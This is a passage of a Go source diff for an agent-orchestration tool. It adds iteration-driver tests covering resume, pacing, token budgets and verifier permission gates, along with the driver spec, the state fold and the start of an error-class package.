completed (Expect matched)", res) + } + events, _ := store.ReadEvents(dStore.Dir()) + st, _ := driver.Fold(events) + if !st.Iterations[1].Completed || st.Iterations[1].ChildReason != "completed" { + t.Fatalf("iteration 2 = %+v — the memory block did not reach the child", st.Iterations[1]) + } +} + +// waitParked spins until the driver goroutine is blocked on the fake clock. +func waitParked(t *testing.T, clk *clock.Fake) { + t.Helper() + for i := 0; i < 5000; i++ { + if clk.Waiters() > 0 { + return + } + time.Sleep(time.Millisecond) + } + t.Fatal("driver never parked on the interval") +} + +// S6 review P0: a loop-mode series whose last iteration PASSED its quality +// verifier must survive a restart — resume must NOT re-derive "satisfied" +// (that is goal-mode semantics only). +func TestDriverLoopResumeContinues(t *testing.T) { + d, dStore := harness(t, &driver.DriverSpec{ + Name: "rounds", Schedule: driver.ScheduleInterval, Task: "tick", MaxIterations: 3, + Verifiers: []driver.VerifierSpec{{Kind: driver.VerifierCommand, Command: "true"}}, + }) + journal(t, dStore, event.TypeIterationScheduled, &event.IterationScheduled{DriverID: "drv-1", Iter: 1}) + journal(t, dStore, event.TypeIterationLaunched, &event.IterationLaunched{DriverID: "drv-1", Iter: 1, ChildSession: "drv-1-iter-1"}) + journal(t, dStore, event.TypeIterationCompleted, &event.IterationCompleted{ + DriverID: "drv-1", Iter: 1, ChildSession: "drv-1-iter-1", ChildReason: "completed", + Verdict: event.IterationVerdict{Pass: true, Score: 1}, + }) + + res, err := d.Resume(context.Background()) + if err != nil { + t.Fatal(err) + } + if res.Reason != "max_iterations" || res.Iterations != 3 { + t.Fatalf("res = %+v, want the series to CONTINUE to max_iterations, not end satisfied", res) + } +} + +// S6 review: a skipped iteration is a consumed slot — resume must not +// re-run it (the fold would end self-contradictory: Skipped AND Completed). +func TestDriverResumeSkipsSkippedIterations(t *testing.T) { + d, dStore := harness(t, &driver.DriverSpec{ + Name: "rounds", Schedule: driver.ScheduleInterval, Task: "tick", MaxIterations: 3, + }) + journal(t, dStore, event.TypeIterationScheduled, &event.IterationScheduled{DriverID: "drv-1", Iter: 1}) + journal(t, dStore, event.TypeIterationLaunched, &event.IterationLaunched{DriverID: "drv-1", Iter: 1, ChildSession: "drv-1-iter-1"}) + journal(t, dStore, event.TypeIterationCompleted, &event.IterationCompleted{ + DriverID: "drv-1", Iter: 1, ChildSession: "drv-1-iter-1", ChildReason: "completed"}) + journal(t, dStore, event.TypeIterationSkipped, &event.IterationSkipped{DriverID: "drv-1", Iter: 2, Reason: "overlap"}) + + res, err := d.Resume(context.Background()) + if err != nil { + t.Fatal(err) + } + if res.Reason != "max_iterations" { + t.Fatalf("res = %+v", res) + } + events, _ := store.ReadEvents(dStore.Dir()) + st, _ := driver.Fold(events) + if st.Iterations[1].Completed || !st.Iterations[1].Skipped { + t.Fatalf("iteration 2 = %+v — a skipped slot was re-run on resume", st.Iterations[1]) + } + if !st.Iterations[2].Completed { + t.Fatalf("iteration 3 = %+v, want completed", st.Iterations[2]) + } +} + +// S6 review: the pace a self_paced child declared must survive a driver +// restart — resume re-derives it from the child journal and parks on it +// instead of firing immediately. +func TestDriverSelfPacedResumeRespectsPace(t *testing.T) { + clk := clock.NewFake(time.Date(2026, 7, 4, 0, 0, 0, 0, time.UTC)) + d, dStore := selfPacedHarness(t, &driver.DriverSpec{ + Name: "series", Schedule: driver.ScheduleSelfPaced, Task: "keep up", MaxIterations: 5, + }, clk, func(int) scripted.Fixture { + return scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "no more"}, {Finish: "end_turn"}}}, + }} + }) + + // Synthesize the pre-crash state: iteration 1 completed, and its child + // journal carries a successful schedule_next{1h} declaration. + journal(t, dStore, event.TypeIterationScheduled, &event.IterationScheduled{DriverID: "drv-1", Iter: 1}) + journal(t, dStore, event.TypeIterationLaunched, &event.IterationLaunched{DriverID: "drv-1", Iter: 1, ChildSession: "drv-1-iter-1"}) + journal(t, dStore, event.TypeIterationCompleted, &event.IterationCompleted{ + DriverID: "drv-1", Iter: 1, ChildSession: "drv-1-iter-1", ChildReason: "completed"}) + childDir := filepath.Join(dStore.Dir(), "sub", "iter-1") + ces, err := store.OpenEventStore(childDir) + if err != nil { + t.Fatal(err) + } + cj := func(typ string, p any) { + t.Helper() + env, err := event.New(typ, p) + if err != nil { + t.Fatal(err) + } + if _, err := ces.Append(env); err != nil { + t.Fatal(err) + } + } + cj(event.TypeRunStarted, &event.RunStarted{SpecName: "worker", Model: "x", Task: "keep up"}) + cj(event.TypeAssistantMessage, &event.AssistantMessage{Turn: 1, Message: provider.Message{ + Role: provider.RoleAssistant, + Parts: []provider.Part{{Kind: provider.PartToolCall, CallID: "p1", + ToolName: "schedule_next", Args: json.RawMessage(`{"after":"1h"}`)}}, + }}) + cj(event.TypeActivityStarted, &event.ActivityStarted{ + ActivityID: "tool-p1", Kind: event.KindTool, Name: "schedule_next", CallID: "p1", Attempt: 1}) + cj(event.TypeActivityCompleted, &event.ActivityCompleted{ + ActivityID: "tool-p1", Result: json.RawMessage(`{"output":"ok"}`)}) + cj(event.TypeRunEnded, &event.RunEnded{Reason: "completed", Turns: 1}) + _ = ces.Close() + + resCh := make(chan driver.Result, 1) + go func() { + res, rerr := d.Resume(context.Background()) + if rerr != nil { + t.Errorf("resume: %v", rerr) + } + resCh <- res + }() + + // The resumed driver must PARK on the declared 1h pace, not fire now. + waitParked(t, clk) + select { + case res := <-resCh: + t.Fatalf("resume fired iteration 2 without honoring the pace: %+v", res) + default: + } + clk.Advance(time.Hour) + res := <-resCh + // Iteration 2's child declares nothing → on_no_intent finish → satisfied. + if res.Reason != "satisfied" || res.Iterations != 2 { + t.Fatalf("res = %+v, want satisfied at 2 after honoring the pace", res) + } +} + +// S6 review: retried attempts burn real tokens — the iteration's journaled +// usage must sum EVERY attempt, not just the last. +func TestDriverRetrySpendSettlesAllAttempts(t *testing.T) { + root := t.TempDir() + ws, err := workspace.New(root) + if err != nil { + t.Fatal(err) + } + exec := &tool.Executor{WS: ws} + dStore, err := store.OpenEventStore(filepath.Join(root, "driver")) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = dStore.Close() }) + childSpec := &agent.AgentSpec{ + Name: "worker", Model: agent.ModelSpec{Provider: "scripted", ID: "x", MaxTokens: 100}, + SystemPrompt: "work", MaxTurns: 5, + } + clk := clock.NewFake(time.Date(2026, 7, 4, 0, 0, 0, 0, time.UTC)) + calls := 0 + d := &driver.Driver{ + Spec: &driver.DriverSpec{ + Name: "goal", Task: "work", MaxIterations: 2, Agent: childSpec, + OnChildFailure: driver.FailurePolicy{Mode: driver.OnFailRetry, Max: 1}, + Verifiers: []driver.VerifierSpec{{Kind: driver.VerifierCommand, Command: "true"}}, + }, + Store: dStore, Clock: clk, DriverID: "drv-1", Exec: exec, + NewChild: func(cs *store.EventStore, session string, iter, budget int) *agent.Loop { + calls++ + var fix scripted.Fixture + if calls == 1 { + // Attempt 1: bill 100, then die (fixture exhausted mid-run — + // the next request errors after this turn's usage settled). + fix = scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "c1", Name: "bash", + Args: map[string]any{"command": "true"}}}, + {Usage: &scripted.UsageEvent{InputTokens: 60, OutputTokens: 40}}, + {Finish: "tool_use"}, + }}, + }} + } else { + // Attempt 2: bill 150 and complete. + fix = scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {Text: "done"}, + {Usage: &scripted.UsageEvent{InputTokens: 100, OutputTokens: 50}}, + {Finish: "end_turn"}, + }}, + }} + } + childSpec2 := *childSpec + childSpec2.Tools = []string{"bash"} + return &agent.Loop{Spec: &childSpec2, Provider: scripted.New(fix), + Exec: exec, Store: cs, Clock: clk, SessionID: session} + }, + } + res, err := d.Run(context.Background()) + if err != nil { + t.Fatal(err) + } + if res.Reason != "satisfied" { + t.Fatalf("res = %+v", res) + } + events, _ := store.ReadEvents(dStore.Dir()) + st, _ := driver.Fold(events) + // 100 (failed attempt) + 150 (successful attempt) = 250 billed. + if st.SpentTokens != 250 { + t.Fatalf("spent = %d, want 250 (both attempts settled)", st.SpentTokens) + } +} + +// S7 还债①: verifiers are adjudicated effects with a journaled trace. An +// explicit user deny rule blocks the command verifier (fail closed, reason +// visible); the journal carries EffectRequested/Resolved and the activity +// bracket for every verifier execution. +func TestVerifierPipelineDenyBinds(t *testing.T) { + d, dStore := harness(t, &driver.DriverSpec{ + Name: "goal", Task: "add a line", MaxIterations: 2, + Verifiers: []driver.VerifierSpec{{ + Kind: driver.VerifierCommand, Command: "test -f progress.txt", + }}, + }) + d.Pipeline = &pipeline.Pipeline{Gates: []pipeline.Gate{ + &pipeline.PermissionGate{Rules: []pipeline.PermissionRule{ + {Command: "test *", Action: "deny"}, + {Action: "allow"}, + }}, + }} + + res, err := d.Run(context.Background()) + if err != nil { + t.Fatal(err) + } + // The verifier can never pass (denied), so the goal exhausts iterations. + if res.Reason != "max_iterations" { + t.Fatalf("res = %+v, want max_iterations (denied verifier must not pass)", res) + } + events, _ := store.ReadEvents(dStore.Dir()) + st, _ := driver.Fold(events) + if !strings.Contains(st.Iterations[0].Verdict.Detail, "denied") { + t.Fatalf("verdict detail = %q, want the denial reason", st.Iterations[0].Verdict.Detail) + } + var sawDenyResolved bool + for _, e := range events { + if e.Type == event.TypeEffectResolved && strings.Contains(string(e.Payload), `"deny"`) { + sawDenyResolved = true + } + } + if !sawDenyResolved { + t.Fatal("the denial was not journaled as an EffectResolved") + } +} + +// S7 还债①: an allowed verifier leaves the full trace — effect resolution +// plus the ActivityStarted/Completed bracket with the verdict as result. +func TestVerifierActivityTrace(t *testing.T) { + d, dStore := harness(t, &driver.DriverSpec{ + Name: "goal", Task: "add a line", MaxIterations: 3, + Verifiers: []driver.VerifierSpec{{ + Kind: driver.VerifierCommand, Command: "test $(wc -l < progress.txt) -ge 2", + }}, + }) + // nil Pipeline = allow-all; the trace must exist regardless. + res, err := d.Run(context.Background()) + if err != nil { + t.Fatal(err) + } + if res.Reason != "satisfied" { + t.Fatalf("res = %+v", res) + } + events, _ := store.ReadEvents(dStore.Dir()) + var requested, resolvedAllow, started, completed int + for _, e := range events { + switch e.Type { + case event.TypeEffectRequested: + requested++ + case event.TypeEffectResolved: + if strings.Contains(string(e.Payload), `"allow"`) { + resolvedAllow++ + } + case event.TypeActivityStarted: + if strings.Contains(string(e.Payload), "verifier:command") { + started++ + } + case event.TypeActivityCompleted: + if strings.Contains(string(e.Payload), "verify-i") { + completed++ + } + } + } + // Two iterations verified (satisfied on the second). + if requested != 2 || resolvedAllow != 2 || started != 2 || completed != 2 { + t.Fatalf("trace = requested %d, allow %d, started %d, completed %d — want 2 each", + requested, resolvedAllow, started, completed) + } +} + +// S7 还债①: ask tightens to deny — a config-declared verifier has nobody +// behind it to answer. +func TestVerifierAskTightensToDeny(t *testing.T) { + d, _ := harness(t, &driver.DriverSpec{ + Name: "goal", Task: "add a line", MaxIterations: 1, + Verifiers: []driver.VerifierSpec{{ + Kind: driver.VerifierCommand, Command: "true", + }}, + }) + d.Pipeline = &pipeline.Pipeline{Gates: []pipeline.Gate{ + &pipeline.PermissionGate{Rules: []pipeline.PermissionRule{ + {Command: "*", Action: "ask"}, + }}, + }} + res, err := d.Run(context.Background()) + if err != nil { + t.Fatal(err) + } + if res.Reason != "max_iterations" { + t.Fatalf("res = %+v, want the ask-tightened denial to block satisfaction", res) + } +} + +// S7 还债: the stream header guards resume — a fold-version mismatch is +// refused loudly, never silently migrated; headerless S6 streams (the other +// resume tests) keep resuming as version 1. +func TestDriverResumeRefusesVersionMismatch(t *testing.T) { + d, dStore := harness(t, &driver.DriverSpec{ + Name: "goal", Task: "t", MaxIterations: 2, + Verifiers: []driver.VerifierSpec{{Kind: driver.VerifierCommand, Command: "true"}}, + }) + journal(t, dStore, event.TypeDriverStarted, &event.DriverStarted{ + DriverID: "drv-1", SpecName: "goal", FoldVersion: 99, + }) + if _, err := d.Resume(context.Background()); err == nil || + !strings.Contains(err.Error(), "fold version 99") { + t.Fatalf("err = %v, want a version-mismatch refusal", err) + } +} + +// A fresh run's stream now opens with the header carrying spec provenance. +func TestDriverStreamHeader(t *testing.T) { + d, dStore := harness(t, &driver.DriverSpec{ + Name: "goal", Task: "add a line", MaxIterations: 5, + Verifiers: []driver.VerifierSpec{{ + Kind: driver.VerifierCommand, Command: "test -f progress.txt", + }}, + }) + if _, err := d.Run(context.Background()); err != nil { + t.Fatal(err) + } + events, _ := store.ReadEvents(dStore.Dir()) + if events[0].Type != event.TypeDriverStarted { + t.Fatalf("first event = %s, want driver_started", events[0].Type) + } + decoded, err := event.DecodePayload(events[0]) + if err != nil { + t.Fatal(err) + } + h := decoded.(*event.DriverStarted) + if h.FoldVersion != driver.FoldVersion || h.SpecName != "goal" || len(h.Spec) == 0 { + t.Fatalf("header = %+v", h) + } +} + +// Every event in event.DriverStream must fold into driver state — the mirror +// of the run fold's TestApplyCoversRegistry, so no driver-stream type is left +// unhandled anywhere. +func TestFoldCoversDriverStream(t *testing.T) { + for typ := range event.DriverStream { + e, err := event.New(typ, event.Registry[typ]()) + if err != nil { + t.Fatalf("new %s: %v", typ, err) + } + if _, err := driver.Fold([]event.Envelope{e}); err != nil { + t.Errorf("driver fold rejects %q: %v", typ, err) + } + } +} + +func itoa(n int) string { + if n == 0 { + return "0" + } + var b []byte + for n > 0 { + b = append([]byte{byte('0' + n%10)}, b...) + n /= 10 + } + return string(b) +} diff --git a/internal/driver/reserve_test.go b/internal/driver/reserve_test.go new file mode 100644 index 0000000..10028a4 --- /dev/null +++ b/internal/driver/reserve_test.go @@ -0,0 +1,41 @@ +package driver + +import ( + "testing" + + "github.com/ralphite/agentrunner/internal/agent" +) + +// reserve is the min-aggregation of the tree remaining and the child spec cap +// (DESIGN: the driver is the tree budget root). This nails the math without a +// full run. +func TestReserveAllowance(t *testing.T) { + cases := []struct { + name string + treeBudget int + childCap int + spent int + wantAllowance int + wantOK bool + }{ + {"unlimited tree, unlimited child", 0, 0, 0, 0, true}, + {"unlimited tree, capped child", 0, 500, 9999, 500, true}, + {"tree cap, no child cap", 1000, 0, 0, 1000, true}, + {"child cap tighter", 1000, 300, 0, 300, true}, + {"tree remaining tighter", 1000, 300, 800, 200, true}, + {"exactly exhausted", 1000, 0, 1000, 0, false}, + {"over budget", 1000, 0, 1200, 0, false}, + } + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + d := &Driver{Spec: &DriverSpec{ + Agent: &agent.AgentSpec{Budget: agent.BudgetSpec{MaxTotalTokens: c.childCap}}, + Budget: BudgetSpec{MaxTotalTokens: c.treeBudget}, + }} + got, ok := d.reserve(&State{SpentTokens: c.spent}) + if got != c.wantAllowance || ok != c.wantOK { + t.Errorf("reserve = (%d, %v), want (%d, %v)", got, ok, c.wantAllowance, c.wantOK) + } + }) + } +} diff --git a/internal/driver/spec.go b/internal/driver/spec.go new file mode 100644 index 0000000..91e3fd7 --- /dev/null +++ b/internal/driver/spec.go @@ -0,0 +1,232 @@ +// Package driver is the IterationDriver (DESIGN §运行形态): a separate actor +// with its OWN event stream and pure fold that spawns a fresh child run per +// iteration and drives it toward a goal (goal mode) or on a schedule (loop +// mode, later). The driver never touches the LLM or the workspace itself — +// it orchestrates child runs and verifies their results. +package driver + +import ( + "bytes" + "fmt" + "os" + "path/filepath" + "time" + + "gopkg.in/yaml.v3" + + "github.com/ralphite/agentrunner/internal/agent" +) + +// DefaultMaxIterations bounds a goal-mode driver that omits max_iterations — +// a goal that never verifies must still terminate. +const DefaultMaxIterations = 10 + +// Schedule kinds. immediate = goal mode; interval / cron = loop mode on a +// fixed cadence; self_paced = loop mode where the CHILD declares the pace +// via the schedule_next / finish_series built-in tools. +const ( + ScheduleImmediate = "immediate" + ScheduleInterval = "interval" + ScheduleCron = "cron" + ScheduleSelfPaced = "self_paced" +) + +// Overlap policies for a loop-mode tick that fires while the previous +// iteration is still running (or, sequentially, ticks that passed during it): +// skip journals IterationSkipped per missed tick and waits for the next +// future one; coalesce folds all missed ticks into ONE immediate iteration. +// interrupt (cancel the running iteration) needs concurrent launches and is +// deferred to the daemon module. +const ( + OverlapSkip = "skip" + OverlapCoalesce = "coalesce" +) + +// Verifier kinds (DESIGN: a verifier is an effect through the four gates). +const ( + VerifierCommand = "command" // bash exit code / metric regex + VerifierLLMJudge = "llm_judge" // LLM scores the result against a rubric + VerifierHuman = "human" // a person answers via the ask path +) + +// DriverSpec configures an IterationDriver. Goal mode = schedule immediate + +// at least one verifier; the driver re-iterates a fresh child run until a +// verifier is satisfied, the iteration budget is spent, or progress stalls. +type DriverSpec struct { + Name string `yaml:"name"` + // Schedule selects the mode; empty defaults to immediate (goal). + Schedule string `yaml:"schedule,omitempty"` + // AgentSpecPath names the child agent spec file, resolved relative to + // the driver spec at load time into Agent. + AgentSpecPath string `yaml:"agent_spec,omitempty"` + // Interval is the loop-mode cadence (schedule=interval), a Go duration + // string like "5m". Empty/zero runs iterations back to back. + Interval string `yaml:"interval,omitempty"` + // Cron is the loop-mode cadence (schedule=cron), five fields: + // minute hour dom month dow. + Cron string `yaml:"cron,omitempty"` + // Overlap says what happens to ticks that pass while an iteration is + // still running: skip (default; each missed tick journals + // IterationSkipped) or coalesce (missed ticks fold into one immediate + // iteration). + Overlap string `yaml:"overlap,omitempty"` + // PaceMin / PaceMax clamp a self_paced child's schedule_next request + // (Go durations). Empty = unclamped on that side. + PaceMin string `yaml:"pace_min,omitempty"` + PaceMax string `yaml:"pace_max,omitempty"` + // OnNoIntent is the self_paced fallback when an iteration ends without a + // schedule_next or an approved finish_series: "finish" (default — a + // child that stops asking is done) or "continue" (re-run at PaceMin, + // which must then be set: a forgetful child must not spin the series). + OnNoIntent string `yaml:"on_no_intent,omitempty"` + // SeriesMemory is a workspace-relative path to the agent-managed series + // document (DESIGN: series memory). When set, each iteration's task + // carries the file's content — TRUNCATED at injection (the authority + // boundary is here, not in the agent's discipline). Missing file = no + // block (a first iteration has nothing to remember). + SeriesMemory string `yaml:"series_memory,omitempty"` + // Agent is the spec each iteration runs as a fresh child (same spec → + // byte-stable prefix across iterations). + Agent *agent.AgentSpec `yaml:"-"` + // Task is the instruction every child iteration receives. + Task string `yaml:"task"` + // MaxIterations caps goal mode; zero means DefaultMaxIterations. + MaxIterations int `yaml:"max_iterations,omitempty"` + // Verifiers are the goal-mode gates; ALL must pass for an iteration to + // satisfy the goal. Required in goal mode. + Verifiers []VerifierSpec `yaml:"verifiers,omitempty"` + // Patience is stall detection: this many consecutive iterations with no + // score improvement ends the run as stalled. Zero disables it. + Patience int `yaml:"patience,omitempty"` + // Budget caps the WHOLE driver tree (DESIGN: the driver is the tree + // budget root; reserve-at-launch / settle-at-completion). Zero = + // unlimited. Each iteration's child is capped at the min-aggregation of + // the driver's remaining and the child spec's own cap. + Budget BudgetSpec `yaml:"budget,omitempty"` + // OnChildFailure is the policy for a child RUN that errors (a transport + // failure or crash — not a verification miss, which is a normal + // re-iterate). DESIGN: policy retry of a terminal failed run is not a + // second recovery mechanism (principle 6 permits it). + OnChildFailure FailurePolicy `yaml:"on_child_failure,omitempty"` +} + +// BudgetSpec caps token spend. +type BudgetSpec struct { + MaxTotalTokens int `yaml:"max_total_tokens,omitempty"` +} + +// Child-failure policy modes. +const ( + OnFailStop = "stop" // default: end the driver as child_failed + OnFailSurface = "surface" // record the failure, continue to the next iteration + OnFailRetry = "retry" // re-run the same iteration up to Max extra times +) + +// FailurePolicy governs a failed child run. Empty Mode is stop. Backoff is +// deferred to the scheduler module (it needs the durable-timer substrate); +// retry here is immediate and count-bounded. +type FailurePolicy struct { + Mode string `yaml:"mode,omitempty"` + Max int `yaml:"max,omitempty"` +} + +// VerifierSpec is one goal-mode gate. +// - command: a bash effect. A metric regex with capture group 1 turns it +// into a scored verifier (score ≥ threshold passes); without it, exit +// code 0 passes. +// - llm_judge: an LLM scores the child's result against Rubric and returns +// {score, pass, reason}; pass, if present, wins, else score ≥ threshold. +// - human: a person answers the ask path with Rubric as the question. +type VerifierSpec struct { + Kind string `yaml:"kind"` + Command string `yaml:"command,omitempty"` + MetricRegex string `yaml:"metric_regex,omitempty"` + Threshold float64 `yaml:"threshold,omitempty"` + Rubric string `yaml:"rubric,omitempty"` +} + +// LoadSpec reads and validates a driver spec, resolving agent_spec into +// Agent (relative paths anchor at the driver spec's directory). Error format +// mirrors agent.LoadSpec: "driver spec : field : ". +func LoadSpec(path string) (*DriverSpec, error) { + raw, err := os.ReadFile(path) + if err != nil { + return nil, fmt.Errorf("driver spec %s: %w", path, err) + } + var spec DriverSpec + dec := yaml.NewDecoder(bytes.NewReader(raw)) + dec.KnownFields(true) + if err := dec.Decode(&spec); err != nil { + return nil, fmt.Errorf("driver spec %s: %v", path, err) + } + fail := func(field, problem string) error { + return fmt.Errorf("driver spec %s: field %s: %s", path, field, problem) + } + if spec.Name == "" { + return nil, fail("name", "required") + } + if spec.Task == "" { + return nil, fail("task", "required") + } + if spec.AgentSpecPath == "" { + return nil, fail("agent_spec", "required") + } + agentPath := spec.AgentSpecPath + if !filepath.IsAbs(agentPath) { + agentPath = filepath.Join(filepath.Dir(path), agentPath) + } + child, err := agent.LoadSpec(agentPath) + if err != nil { + return nil, fmt.Errorf("driver spec %s: field agent_spec: %v", path, err) + } + spec.Agent = child + return &spec, nil +} + +// schedule returns the effective schedule (immediate default). +func (s *DriverSpec) schedule() string { + if s.Schedule == "" { + return ScheduleImmediate + } + return s.Schedule +} + +// maxIterations returns the effective cap. +func (s *DriverSpec) maxIterations() int { + if s.MaxIterations <= 0 { + return DefaultMaxIterations + } + return s.MaxIterations +} + +// interval parses the loop-mode cadence; empty is zero (back-to-back). +func (s *DriverSpec) interval() (time.Duration, error) { + if s.Interval == "" { + return 0, nil + } + return time.ParseDuration(s.Interval) +} + +// OnNoIntent modes (self_paced). +const ( + NoIntentFinish = "finish" + NoIntentContinue = "continue" +) + +// paceBounds parses the self_paced clamp; empty sides are unbounded. +func (s *DriverSpec) paceBounds() (min, max time.Duration, err error) { + if s.PaceMin != "" { + if min, err = time.ParseDuration(s.PaceMin); err != nil { + return 0, 0, fmt.Errorf("pace_min %q: %w", s.PaceMin, err) + } + } + if s.PaceMax != "" { + if max, err = time.ParseDuration(s.PaceMax); err != nil { + return 0, 0, fmt.Errorf("pace_max %q: %w", s.PaceMax, err) + } + } + if max > 0 && min > max { + return 0, 0, fmt.Errorf("pace_min %s exceeds pace_max %s", s.PaceMin, s.PaceMax) + } + return min, max, nil +} diff --git a/internal/driver/state.go b/internal/driver/state.go new file mode 100644 index 0000000..d0ad326 --- /dev/null +++ b/internal/driver/state.go @@ -0,0 +1,144 @@ +package driver + +import "github.com/ralphite/agentrunner/internal/event" + +// FoldVersion is the driver fold's shape version, journaled in the stream +// header (DriverStarted) and checked on resume — a shape change refuses old +// streams instead of silently misreading them (S7 还债: version discipline, +// 与 run 的 SubStateVersions 同纪律). Streams predating the header (S6) are +// accepted as version 1. +const FoldVersion = 1 + +// Status is the driver's lifecycle position. +type Status string + +const ( + StatusRunning Status = "running" + StatusEnded Status = "ended" +) + +// Iteration is one folded iteration record. +type Iteration struct { + N int `json:"n"` + ChildSession string `json:"child_session,omitempty"` + ChildReason string `json:"child_reason,omitempty"` + Launched bool `json:"launched,omitempty"` + Completed bool `json:"completed,omitempty"` + Skipped bool `json:"skipped,omitempty"` + Verdict event.IterationVerdict `json:"verdict,omitzero"` + CarryRef string `json:"carry_ref,omitempty"` +} + +// State is the driver's pure fold — the sole working memory, rebuilt from the +// driver stream on resume exactly like the run fold. It is deliberately NOT a +// run sub-state (the driver stream is independent; DESIGN §运行形态). +type State struct { + DriverID string `json:"driver_id,omitempty"` + Status Status `json:"status"` + Reason string `json:"reason,omitempty"` + Iterations []Iteration `json:"iterations,omitempty"` + // BestIter is the 1-based iteration with the highest verdict score so + // far (ties keep the earliest); 0 means none completed yet. + BestIter int `json:"best_iter,omitempty"` + // SpentTokens is the settled tree spend: the sum of every completed + // iteration's billed usage (DESIGN: settle-at-completion). Pure fold, so + // resume recovers the exact budget position. + SpentTokens int `json:"spent_tokens,omitempty"` +} + +// Fold rebuilds driver state from its event stream. +func Fold(events []event.Envelope) (State, error) { + s := &State{Status: StatusRunning} + for _, e := range events { + p, err := event.DecodePayload(e) + if err != nil { + return State{}, err + } + s.apply(p) + } + return *s, nil +} + +// apply folds one decoded payload. Driver stream only; unrelated types (a +// child's own events never land here) are ignored. Iterations are 1-based; a +// malformed Iter < 1 is skipped rather than allowed to panic the fold. +func (s *State) apply(p any) { + switch v := p.(type) { + case *event.DriverStarted: + if s.DriverID == "" { + s.DriverID = v.DriverID + } + case *event.IterationScheduled: + if v.Iter < 1 { + return + } + s.ensure(v.Iter) + if s.DriverID == "" { + s.DriverID = v.DriverID + } + case *event.IterationLaunched: + if v.Iter < 1 { + return + } + s.ensure(v.Iter) + it := &s.Iterations[v.Iter-1] + it.ChildSession = v.ChildSession + it.Launched = true + case *event.IterationCompleted: + if v.Iter < 1 { + return + } + s.ensure(v.Iter) + it := &s.Iterations[v.Iter-1] + it.Completed = true + it.ChildReason = v.ChildReason + it.Verdict = v.Verdict + it.CarryRef = v.CarryRef + if s.BestIter == 0 || v.Verdict.Score > s.Iterations[s.BestIter-1].Verdict.Score { + s.BestIter = v.Iter + } + // Settle-at-completion: accumulate this iteration's billed spend into + // the tree total (DESIGN: the driver is the tree budget root). One + // IterationCompleted per iteration number, so no double count. + s.SpentTokens += v.Usage.Billed() + case *event.IterationSkipped: + if v.Iter < 1 { + return + } + s.ensure(v.Iter) + s.Iterations[v.Iter-1].Skipped = true + case *event.DriverCompleted: + s.Status = StatusEnded + s.Reason = v.Reason + if v.BestIter > 0 { + s.BestIter = v.BestIter + } + } +} + +// ensure grows the dense iteration slice so index n-1 exists. +func (s *State) ensure(n int) { + for len(s.Iterations) < n { + s.Iterations = append(s.Iterations, Iteration{N: len(s.Iterations) + 1}) + } +} + +// at returns iteration n (1-based) by value and whether it is in the fold — +// the resume cursor consults it to avoid re-journaling facts already durable. +func (s *State) at(n int) (Iteration, bool) { + if n < 1 || n > len(s.Iterations) { + return Iteration{}, false + } + return s.Iterations[n-1], true +} + +// lastCompleted returns the highest-numbered completed iteration and whether +// one exists — the resume anchor for re-deriving an already-decided terminal. +func (s *State) lastCompleted() (Iteration, bool) { + for i := len(s.Iterations) - 1; i >= 0; i-- { + if s.Iterations[i].Completed { + return s.Iterations[i], true + } + } + return Iteration{}, false +} diff --git a/internal/driver/task_test.go b/internal/driver/task_test.go new file mode 100644 index 0000000..59e829a --- /dev/null +++ b/internal/driver/task_test.go @@ -0,0 +1,52 @@ +package driver + +import ( + "os" + "path/filepath" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/tool" + "github.com/ralphite/agentrunner/internal/workspace" +) + +// buildTask injects the series memory truncated AT the boundary — an agent +// that lets its own doc grow cannot bloat the next iteration's context. +func TestBuildTaskTruncatesSeriesMemory(t *testing.T) { + root := t.TempDir() + ws, err := workspace.New(root) + if err != nil { + t.Fatal(err) + } + big := strings.Repeat("x", seriesMemoryMaxBytes+1000) + if err := os.WriteFile(filepath.Join(root, "SERIES.md"), []byte(big), 0o600); err != nil { + t.Fatal(err) + } + d := &Driver{ + Spec: &DriverSpec{Task: "base task", SeriesMemory: "SERIES.md"}, + Exec: &tool.Executor{WS: ws}, + } + task := d.buildTask() + if !strings.HasPrefix(task, "base task") || !strings.Contains(task, " len("base task")+seriesMemoryMaxBytes+300 { + t.Errorf("task = %d bytes — truncation did not hold", len(task)) + } + + // No file → no block, base task only. + d.Spec.SeriesMemory = "MISSING.md" + if got := d.buildTask(); got != "base task" { + t.Errorf("missing memory file: task = %q, want the bare task", got) + } + + // A path escaping the workspace resolves to nothing — no block. + d.Spec.SeriesMemory = "../outside.md" + if got := d.buildTask(); got != "base task" { + t.Errorf("escaping path: task = %q, want the bare task", got) + } +} diff --git a/internal/errs/errs.go b/internal/errs/errs.go new file mode 100644 index 0000000..030f42f --- /dev/null +++ b/internal/errs/errs.go @@ -0,0 +1,103 @@ +// Package errs is the error taxonomy (2.8). Everything downstream — retry +// policy (2.10), in-doubt handling (2.15), model-visible rendering (3.9) — +// consumes ONLY the class, never provider-specific error shapes. +package errs + +import ( + "context" + "errors" + "fmt" +) + +type Class string + +const ( + ProviderRateLimit Class = "provider_rate_limit" + ProviderServer Class = "provider_server" + ProviderAuth Class = "provider_auth" + ProviderInvalid Class = "provider_invalid" + ToolFailed Class = "tool_failed" + Timeout Class = "timeout" + Canceled Class = "canceled" + Internal Class = "internal" +) + +// Retryable is the retry policy's single input: transient classes only. +func (c Class) Retryable() bool { + switch c { + case ProviderRateLimit, ProviderServer, Timeout: + return true + } + return false +} + +// ErrActivityTimeout is the cancellation CAUSE used when a durable +// activity-timeout timer fires (2.11). Effect implementations inspect +// context.Cause to render "timed out" instead of "canceled". +var ErrActivityTimeout = New(Timeout, "activity timeout") + +// ErrUserInterrupt is the cancellation CAUSE for a collaborative steering +// interrupt (S4.2, first Ctrl-C): the current activity is cancelled but +// the run CONTINUES. Effect implementations use a shorter kill grace for +// it than for a hard cancel, and the loop resumes rather than aborting. +var ErrUserInterrupt = New(Canceled, "user interrupt") + +// Error carries a class through wrapping. +type Error struct { + Class Class + Msg string + Err error +} + +func (e *Error) Error() string { + if e.Err != nil { + return fmt.Sprintf("%s [%s]: %v", e.Msg, e.Class, e.Err) + } + return fmt.Sprintf("%s [%s]", e.Msg, e.Class) +} + +func (e *Error) Unwrap() error { return e.Err } + +func New(class Class, format string, args ...any) *Error { + return &Error{Class: class, Msg: fmt.Sprintf(format, args...)} +} + +func Wrap(class Class, err error, msg string) 